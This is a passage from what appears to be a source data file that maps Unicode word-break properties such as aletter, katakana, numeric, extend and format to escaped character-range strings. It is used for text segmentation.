83-\u1ba0\u1bae-\u1be5\u1bf4-\u1c23\u1c38-\u1ccf\u1cd3\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5-\u1dbf\u1de7-\u1dfb\u1e00-\u200b\u200e-\u20cf\u20f1-\u2cee\u2cf2-\u2d7e\u2d80-\u2ddf\u2e00-\u3029\u3030-\u3098\u309b-\ua66e\ua673\ua67e-\ua69e\ua6a0-\ua6ef\ua6f2-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua828-\ua87f\ua882-\ua8b3\ua8c5-\ua8df\ua8f2-\ua925\ua92e-\ua946\ua954-\ua97f\ua984-\ua9b2\ua9c1-\uaa28\uaa37-\uaa42\uaa44-\uaa4b\uaa4e-\uaa7a\uaa7c-\uaaaf\uaab1\uaab5-\uaab6\uaab9-\uaabd\uaac0\uaac2-\uaaea\uaaf0-\uaaf4\uaaf7-\uabe2\uabeb\uabee-\ufb1d\ufb1f-\ufdff\ufe10-\ufe1f\ufe27-\uff9d\uffa0-\U000101fc\U000101fe-\U00010a00\U00010a04\U00010a07-\U00010a0b\U00010a10-\U00010a37\U00010a3b-\U00010a3e\U00010a40-\U00010fff\U00011003-\U00011037\U00011047-\U0001107f\U00011083-\U000110af\U000110bb-\U000110ff\U00011103-\U00011126\U00011135-\U0001117f\U00011183-\U000111b2\U000111c1-\U000116aa\U000116b8-\U00016f50\U00016f7f-\U00016f8e\U00016f93-\U0001d164\U0001d16a-\U0001d16c\U0001d173-\U0001d17a\U0001d183-\U0001d184\U0001d18c-\U0001d1a9\U0001d1ae-\U0001d241\U0001d245-\U000e00ff\U000e01f0-\U0010ffff",
"^extendnumlet": "\x00-\x5c\x5e\x60-\u203e\u2041-\u2053\u2055-\ufe32\ufe35-\ufe4c\ufe50-\uff3e\uff40-\U0010ffff",
"^format": "\x00-\xac\xae-\u05ff\u0605-\u06dc\u06de-\u070e\u0710-\u200d\u2010-\u2029\u202f-\u205f\u2065-\u2069\u2070-\ufefe\uff00-\ufff8\ufffc-\U000110bc\U000110be-\U0001d172\U0001d17b-\U000e0000\U000e0002-\U000e001f\U000e0080-\U0010ffff",
"^katakana": "\x00-\u3030\u3036-\u309a\u309d-\u309f\u30fb\u3100-\u31ef\u3200-\u32cf\u32ff\u3358-\uff65\uff9e-\U0001afff\U0001b001-\U0010ffff",
"^lf": "\x00-\x09\x0b-\U0010ffff",
"^midletter": "\x00-\x39\x3b-\xb6\xb8-\u0386\u0388-\u05f3\u05f5-\u2026\u2028-\ufe12\ufe14-\ufe54\ufe56-\uff19\uff1b-\U0010ffff",
"^midnum": "\x00-\x2b\x5c\x2d-\x3a\x3c-\u037d\u037f-\u0588\u058a-\u060b\u060e-\u066b\u066d-\u07f7\u07f9-\u2043\u2045-\ufe0f\ufe11-\ufe13\ufe15-\ufe4f\ufe51-\ufe53\ufe55-\uff0b\uff0d-\uff1a\uff1c-\U0010ffff",
"^midnumlet": "\x00-\x5c\x26\x28-\x5c\x2d\x2f-\u2017\u201a-\u2023\u2025-\ufe51\ufe53-\uff06\uff08-\uff0d\uff0f-\U0010ffff",
"^newline": "\x00-\x0a\x0d-\x84\x86-\u2027\u202a-\U0010ffff",
"^numeric": "\x00-\x2f\x3a-\u065f\u066a\u066c-\u06ef\u06fa-\u07bf\u07ca-\u0965\u0970-\u09e5\u09f0-\u0a65\u0a70-\u0ae5\u0af0-\u0b65\u0b70-\u0be5\u0bf0-\u0c65\u0c70-\u0ce5\u0cf0-\u0d65\u0d70-\u0e4f\u0e5a-\u0ecf\u0eda-\u0f1f\u0f2a-\u103f\u104a-\u108f\u109a-\u17df\u17ea-\u180f\u181a-\u1945\u1950-\u19cf\u19da-\u1a7f\u1a8a-\u1a8f\u1a9a-\u1b4f\u1b5a-\u1baf\u1bba-\u1c3f\u1c4a-\u1c4f\u1c5a-\ua61f\ua62a-\ua8cf\ua8da-\ua8ff\ua90a-\ua9cf\ua9da-\uaa4f\uaa5a-\uabef\uabfa-\U0001049f\U000104aa-\U00011065\U00011070-\U000110ef\U000110fa-\U00011135\U00011140-\U000111cf\U000111da-\U000116bf\U000116ca-\U0001d7cd\U0001d800-\U0010ffff",
"^other": "\x0a-\x0d\x27\x2c\x2e\x30-\x3b\x41-\x5a\x5f\x61-\x7a\x85\xaa\xad\xb5\xb7\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0300-\u0374\u0376-\u0377\u037a-\u037e\u0386-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u0483-\u0527\u0531-\u0556\u0559\u0561-\u0587\u0589\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u05d0-\u05ea\u05f0-\u05f4\u0600-\u0604\u060c-\u060d\u0610-\u061a\u0620-\u0669\u066b-\u066c\u066e-\u06d3\u06d5-\u06dd\u06df-\u06e8\u06ea-\u06fc\u06ff\u070f-\u074a\u074d-\u07b1\u07c0-\u07f5\u07f8\u07fa\u0800-\u082d\u0840-\u085b\u08a0\u08a2-\u08ac\u08e4-\u08fe\u0900-\u0963\u0966-\u096f\u0971-\u0977\u0979-\u097f\u0981-\u0983\u0985-\u098c\u098f-\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bc-\u09c4\u09c7-\u09c8\u09cb-\u09ce\u09d7\u09dc-\u09dd\u09df-\u09e3\u09e6-\u09f1\u0a01-\u0a03\u0a05-\u0a0a\u0a0f-\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32-\u0a33\u0a35-\u0a36\u0a38-\u0a39\u0a3c\u0a3e-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a59-\u0a5c\u0a5e\u0a66-\u0a75\u0a81-\u0a83\u0a85-\u0a8d\u0a8f-\u0a91\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-\u0e3a\u0e47-\u0e4e\u0e50-\u0e59\u0eb1\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0ed0-\u0ed9\u0f00\u0f18-\u0f19\u0f20-\u0f29\u0f35\u0f37\u0f39\u0f3e-\u0f47\u0f49-\u0f6c\u0f71-\u0f84\u0f86-\u0f97\u0f99-\u0fbc\u0fc6\u102b-\u103e\u1040-\u1049\u1056-\u1059\u105e-\u1060\u1062-\u1064\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f-\u109d\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u135d-\u135f\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1714\u1720-\u1734\u1740-\u1753\u1760-\u176c\u176e-\u1770\u1772-\u1773\u17b4-\u17d3\u17dd\u17e0-\u17e9\u180b-\u180d\u1810-\u1819\u1820-\u1877\u1880-\u18aa\u18b0-\u18f5\u1900-\u191c\u1920-\u192b\u1930-\u193b\u1946-\u194f\u19b0-\u19c0\u19c8-\u19c9\u19d0-\u19d9\u1a00-\u1a1b\u1a55-\u1a5e\u1a60-\u1a7c\u1a7f-\u1a89\u1a90-\u1a99\u1b00-\u1b4b\u1b50-\u1b59\u1b6b-\u1b73\u1b80-\u1bf3\u1c00-\u1c37\u1c40-\u1c49\u1c4d-\u1c7d\u1cd0-\u1cd2\u1cd4-\u1cf6\u1d00-\u1de6\u1dfc-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u200c-\u200f\u2018-\u2019\u2024\u2027-\u202e\u203f-\u2040\u2044\u2054\u2060-\u2064\u206a-\u206f\u2071\u207f\u2090-\u209c\u20d0-\u20f0\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u24b6-\u24e9\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d7f-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2de0-\u2dff\u2e2f\u3005\u302a-\u302f\u3031-\u3035\u303b-\u303c\u3099-\u309c\u30a0-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u32d0-\u32fe\u3300-\u3357\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua62b\ua640-\ua672\ua674-\ua67d\ua67f-\ua697\ua69f-\ua6f1\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua827\ua840-\ua873\ua880-\ua8c4\ua8d0-\ua8d9\ua8e0-\ua8f7\ua8fb\ua900-\ua92d\ua930-\ua953\ua960-\ua97c\ua980-\ua9c0\ua9cf-\ua9d9\uaa00-\uaa36\uaa40-\uaa4d\uaa50-\uaa59\uaa7b\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1\uaae0-\uaaef\uaaf2-\uaaf6\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabea\uabec-\uabed\uabf0-\uabf9\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\ufb00-\ufb06\ufb13-\ufb17\ufb1d-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40-\ufb41\ufb43-\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe00-\ufe10\ufe13-\ufe14\ufe20-\ufe26\ufe33-\ufe34\ufe4d-\ufe50\ufe52\ufe54-\ufe55\ufe70-\ufe74\ufe76-\ufefc\ufeff\uff07\uff0c\uff0e\uff1a-\uff1b\uff21-\uff3a\uff3f\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc\ufff9-\ufffb\U00010000-\U0001000b\U0001000d-\U00010026\U00010028-\U0001003a\U0001003c-\U0001003d\U0001003f-\U0001004d\U00010050-\U0001005d\U00010080-\U000100fa\U00010140-\U00010174\U000101fd\U00010280-\U0001029c\U000102a0-\U000102d0\U00010300-\U0001031e\U00010330-\U0001034a\U00010380-\U0001039d\U000103a0-\U000103c3\U000103c8-\U000103cf\U000103d1-\U000103d5\U00010400-\U0001049d\U000104a0-\U000104a9\U00010800-\U00010805\U00010808\U0001080a-\U00010835\U00010837-\U00010838\U0001083c\U0001083f-\U00010855\U00010900-\U00010915\U00010920-\U00010939\U00010980-\U000109b7\U000109be-\U000109bf\U00010a00-\U00010a03\U00010a05-\U00010a06\U00010a0c-\U00010a13\U00010a15-\U00010a17\U00010a19-\U00010a33\U00010a38-\U00010a3a\U00010a3f\U00010a60-\U00010a7c\U00010b00-\U00010b35\U00010b40-\U00010b55\U00010b60-\U00010b72\U00010c00-\U00010c48\U00011000-\U00011046\U00011066-\U0001106f\U00011080-\U000110ba\U000110bd\U000110d0-\U000110e8\U000110f0-\U000110f9\U00011100-\U00011134\U00011136-\U0001113f\U00011180-\U000111c4\U000111d0-\U000111d9\U00011680-\U000116b7\U000116c0-\U000116c9\U00012000-\U0001236e\U00012400-\U00012462\U00013000-\U0001342e\U00016800-\U00016a38\U00016f00-\U00016f44\U00016f50-\U00016f7e\U00016f8f-\U00016f9f\U0001b000\U0001d165-\U0001d169\U0001d16d-\U0001d182\U0001d185-\U0001d18b\U0001d1aa-\U0001d1ad\U0001d242-\U0001d244\U0001d400-\U0001d454\U0001d456-\U0001d49c\U0001d49e-\U0001d49f\U0001d4a2\U0001d4a5-\U0001d4a6\U0001d4a9-\U0001d4ac\U0001d4ae-\U0001d4b9\U0001d4bb\U0001d4bd-\U0001d4c3\U0001d4c5-\U0001d505\U0001d507-\U0001d50a\U0001d50d-\U0001d514\U0001d516-\U0001d51c\U0001d51e-\U0001d539\U0001d53b-\U0001d53e\U0001d540-\U0001d544\U0001d546\U0001d54a-\U0001d550\U0001d552-\U0001d6a5\U0001d6a8-\U0001d6c0\U0001d6c2-\U0001d6da\U0001d6dc-\U0001d6fa\U0001d6fc-\U0001d714\U0001d716-\U0001d734\U0001d736-\U0001d74e\U0001d750-\U0001d76e\U0001d770-\U0001d788\U0001d78a-\U0001d7a8\U0001d7aa-\U0001d7c2\U0001d7c4-\U0001d7cb\U0001d7ce-\U0001d7ff\U0001ee00-\U0001ee03\U0001ee05-\U0001ee1f\U0001ee21-\U0001ee22\U0001ee24\U0001ee27\U0001ee29-\U0001ee32\U0001ee34-\U0001ee37\U0001ee39\U0001ee3b\U0001ee42\U0001ee47\U0001ee49\U0001ee4b\U0001ee4d-\U0001ee4f\U0001ee51-\U0001ee52\U0001ee54\U0001ee57\U0001ee59\U0001ee5b\U0001ee5d\U0001ee5f\U0001ee61-\U0001ee62\U0001ee64\U0001ee67-\U0001ee6a\U0001ee6c-\U0001ee72\U0001ee74-\U0001ee77\U0001ee79-\U0001ee7c\U0001ee7e\U0001ee80-\U0001ee89\U0001ee8b-\U0001ee9b\U0001eea1-\U0001eea3\U0001eea5-\U0001eea9\U0001eeab-\U0001eebb\U000e0001\U000e0020-\U000e007f\U000e0100-\U000e01ef",
"aletter": "\x41-\x5a\x61-\x7a\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376-\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f3\u0620-\u064a\u066e-\u066f\u0671-\u06d3\u06d5\u06e5-\u06e6\u06ee-\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4-\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f-\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc-\u09dd\u09df-\u09e1\u09f0-\u09f1\u0a05-\u0a0a\u0a0f-\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32-\u0a33\u0a35-\u0a36\u0a38-\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2-\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0-\u0ae1\u0b05-\u0b0c\u0b0f-\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32-\u0b33\u0b35-\u0b39\u0b3d\u0b5c-\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99-\u0b9a\u0b9c\u0b9e-\u0b9f\u0ba3-\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58-\u0c59\u0c60-\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0-\u0ce1\u0cf1-\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60-\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1a00-\u1a16\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae-\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5-\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u24b6-\u24e9\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2-\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005\u303b-\u303c\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a-\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40-\ufb41\ufb43-\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uffa0-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc\U00010000-\U0001000b\U0001000d-\U00010026\U00010028-\U0001003a\U0001003c-\U0001003d\U0001003f-\U0001004d\U00010050-\U0001005d\U00010080-\U000100fa\U00010140-\U00010174\U00010280-\U0001029c\U000102a0-\U000102d0\U00010300-\U0001031e\U00010330-\U0001034a\U00010380-\U0001039d\U000103a0-\U000103c3\U000103c8-\U000103cf\U000103d1-\U000103d5\U00010400-\U0001049d\U00010800-\U00010805\U00010808\U0001080a-\U00010835\U00010837-\U00010838\U0001083c\U0001083f-\U00010855\U00010900-\U00010915\U00010920-\U00010939\U00010980-\U000109b7\U000109be-\U000109bf\U00010a00\U00010a10-\U00010a13\U00010a15-\U00010a17\U00010a19-\U00010a33\U00010a60-\U00010a7c\U00010b00-\U00010b35\U00010b40-\U00010b55\U00010b60-\U00010b72\U00010c00-\U00010c48\U00011003-\U00011037\U00011083-\U000110af\U000110d0-\U000110e8\U00011103-\U00011126\U00011183-\U000111b2\U000111c1-\U000111c4\U00011680-\U000116aa\U00012000-\U0001236e\U00012400-\U00012462\U00013000-\U0001342e\U00016800-\U00016a38\U00016f00-\U00016f44\U00016f50\U00016f93-\U00016f9f\U0001d400-\U0001d454\U0001d456-\U0001d49c\U0001d49e-\U0001d49f\U0001d4a2\U0001d4a5-\U0001d4a6\U0001d4a9-\U0001d4ac\U0001d4ae-\U0001d4b9\U0001d4bb\U0001d4bd-\U0001d4c3\U0001d4c5-\U0001d505\U0001d507-\U0001d50a\U0001d50d-\U0001d514\U0001d516-\U0001d51c\U0001d51e-\U0001d539\U0001d53b-\U0001d53e\U0001d540-\U0001d544\U0001d546\U0001d54a-\U0001d550\U0001d552-\U0001d6a5\U0001d6a8-\U0001d6c0\U0001d6c2-\U0001d6da\U0001d6dc-\U0001d6fa\U0001d6fc-\U0001d714\U0001d716-\U0001d734\U0001d736-\U0001d74e\U0001d750-\U0001d76e\U0001d770-\U0001d788\U0001d78a-\U0001d7a8\U0001d7aa-\U0001d7c2\U0001d7c4-\U0001d7cb\U0001ee00-\U0001ee03\U0001ee05-\U0001ee1f\U0001ee21-\U0001ee22\U0001ee24\U0001ee27\U0001ee29-\U0001ee32\U0001ee34-\U0001ee37\U0001ee39\U0001ee3b\U0001ee42\U0001ee47\U0001ee49\U0001ee4b\U0001ee4d-\U0001ee4f\U0001ee51-\U0001ee52\U0001ee54\U0001ee57\U0001ee59\U0001ee5b\U0001ee5d\U0001ee5f\U0001ee61-\U0001ee62\U0001ee64\U0001ee67-\U0001ee6a\U0001ee6c-\U0001ee72\U0001ee74-\U0001ee77\U0001ee79-\U0001ee7c\U0001ee7e\U0001ee80-\U0001ee89\U0001ee8b-\U0001ee9b\U0001eea1-\U0001eea3\U0001eea5-\U0001eea9\U0001eeab-\U0001eebb",
"cr": "\x0d",
"extend": "\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08e4-\u08fe\u0900-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962-\u0963\u0981-\u0983\u09bc\u09be-\u09c4\u09c7-\u09c8\u09cb-\u09cd\u09d7\u09e2-\u09e3\u0a01-\u0a03\u0a3c\u0a3e-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a70-\u0a71\u0a75\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ae2-\u0ae3\u0b01-\u0b03\u0b3c\u0b3e-\u0b44\u0b47-\u0b48\u0b4b-\u0b4d\u0b56-\u0b57\u0b62-\u0b63\u0b82\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0c01-\u0c03\u0c3e-\u0c44\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c62-\u0c63\u0c82-\u0c83\u0cbc\u0cbe-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5-\u0cd6\u0ce2-\u0ce3\u0d02-\u0d03\u0d3e-\u0d44\u0d46-\u0d48\u0d4a-\u0d4d\u0d57\u0d62-\u0d63\u0d82-\u0d83\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2-\u0df3\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39\u0f3e-\u0f3f\u0f71-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102b-\u103e\u1056-\u1059\u105e-\u1060\u1062-\u1064\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f\u109a-\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752-\u1753\u1772-\u1773\u17b4-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u192b\u1930-\u193b\u19b0-\u19c0\u19c8-\u19c9\u1a17-\u1a1b\u1a55-\u1a5e\u1a60-\u1a7c\u1a7f\u1b00-\u1b04\u1b34-\u1b44\u1b6b-\u1b73\u1b80-\u1b82\u1ba1-\u1bad\u1be6-\u1bf3\u1c24-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce8\u1ced\u1cf2-\u1cf4\u1dc0-\u1de6\u1dfc-\u1dff\u200c-\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302f\u3099-\u309a\ua66f-\ua672\ua674-\ua67d\ua69f\ua6f0-\ua6f1\ua802\ua806\ua80b\ua823-\ua827\ua880-\ua881\ua8b4-\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua953\ua980-\ua983\ua9b3-\ua9c0\uaa29-\uaa36\uaa43\uaa4c-\uaa4d\uaa7b\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1\uaaeb-\uaaef\uaaf5-\uaaf6\uabe3-\uabea\uabec-\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e-\uff9f\U000101fd\U00010a01-\U00010a03\U00010a05-\U00010a06\U00010a0c-\U00010a0f\U00010a38-\U00010a3a\U00010a3f\U00011000-\U00011002\U00011038-\U00011046\U00011080-\U00011082\U000110b0-\U000110ba\U00011100-\U00011102\U00011127-\U00011134\U00011180-\U00011182\U000111b3-\U000111c0\U000116ab-\U000116b7\U00016f51-\U00016f7e\U00016f8f-\U00016f92\U0001d165-\U0001d169\U0001d16d-\U0001d172\U0001d17b-\U0001d182\U0001d185-\U0001d18b\U0001d1aa-\U0001d1ad\U0001d242-\U0001d244\U000e0100-\U000e01ef",
"extendnumlet": "\x5f\u203f-\u2040\u2054\ufe33-\ufe34\ufe4d-\ufe4f\uff3f",
"format": "\xad\u0600-\u0604\u06dd\u070f\u200e-\u200f\u202a-\u202e\u2060-\u2064\u206a-\u206f\ufeff\ufff9-\ufffb\U000110bd\U0001d173-\U0001d17a\U000e0001\U000e0020-\U000e007f",
"katakana": "\u3031-\u3035\u309b-\u309c\u30a0-\u30fa\u30fc-\u30ff\u31f0-\u31ff\u32d0-\u32fe\u3300-\u3357\uff66-\uff9d\U0001b000",
"lf": "\x0a",
"midletter": "\x3a\xb7\u0387\u05f4\u2027\ufe13\ufe55\uff1a",
"midnum": "\x2c\x3b\u037e\u0589\u060c-\u060d\u066c\u07f8\u2044\ufe10\ufe14\ufe50\ufe54\uff0c\uff1b",
"midnumlet": "\x27\x2e\u2018-\u2019\u2024\ufe52\uff07\uff0e",
"newline": "\x0b-\x0c\x85\u2028-\u2029",
"numeric": "\x30-\x39\u0660-\u0669\u066b\u06f0-\u06f9\u07c0-\u07c9\u0966-\u096f\u09e6-\u09ef\u0a66-\u0a6f\u0ae6-\u0aef\u0b66-\u0b6f\u0be6-\u0bef\u0c66-\u0c6f\u0ce6-\u0cef\u0d66-\u0d6f\u0e50-\u0e59\u0ed0-\u0ed9\u0f20-\u0f29\u1040-\u1049\u1090-\u1099\u17e0-\u17e9\u1810-\u1819\u1946-\u194f\u19d0-\u19d9\u1a80-\u1a89\u1a90-\u1a99\u1b50-\u1b59\u1bb0-\u1bb9\u1c40-\u1c49\u1c50-\u1c59\ua620-\ua629\ua8d0-\ua8d9\ua900-\ua909\ua9d0-\ua9d9\uaa50-\uaa59\uabf0-\uabf9\U000104a0-\U000104a9\U00011066-\U0001106f\U000110f0-\U000110f9\U00011136-\U0001113f\U000111d0-\U000111d9\U000116c0-\U000116c9\U0001d7ce-\U0001d7ff",
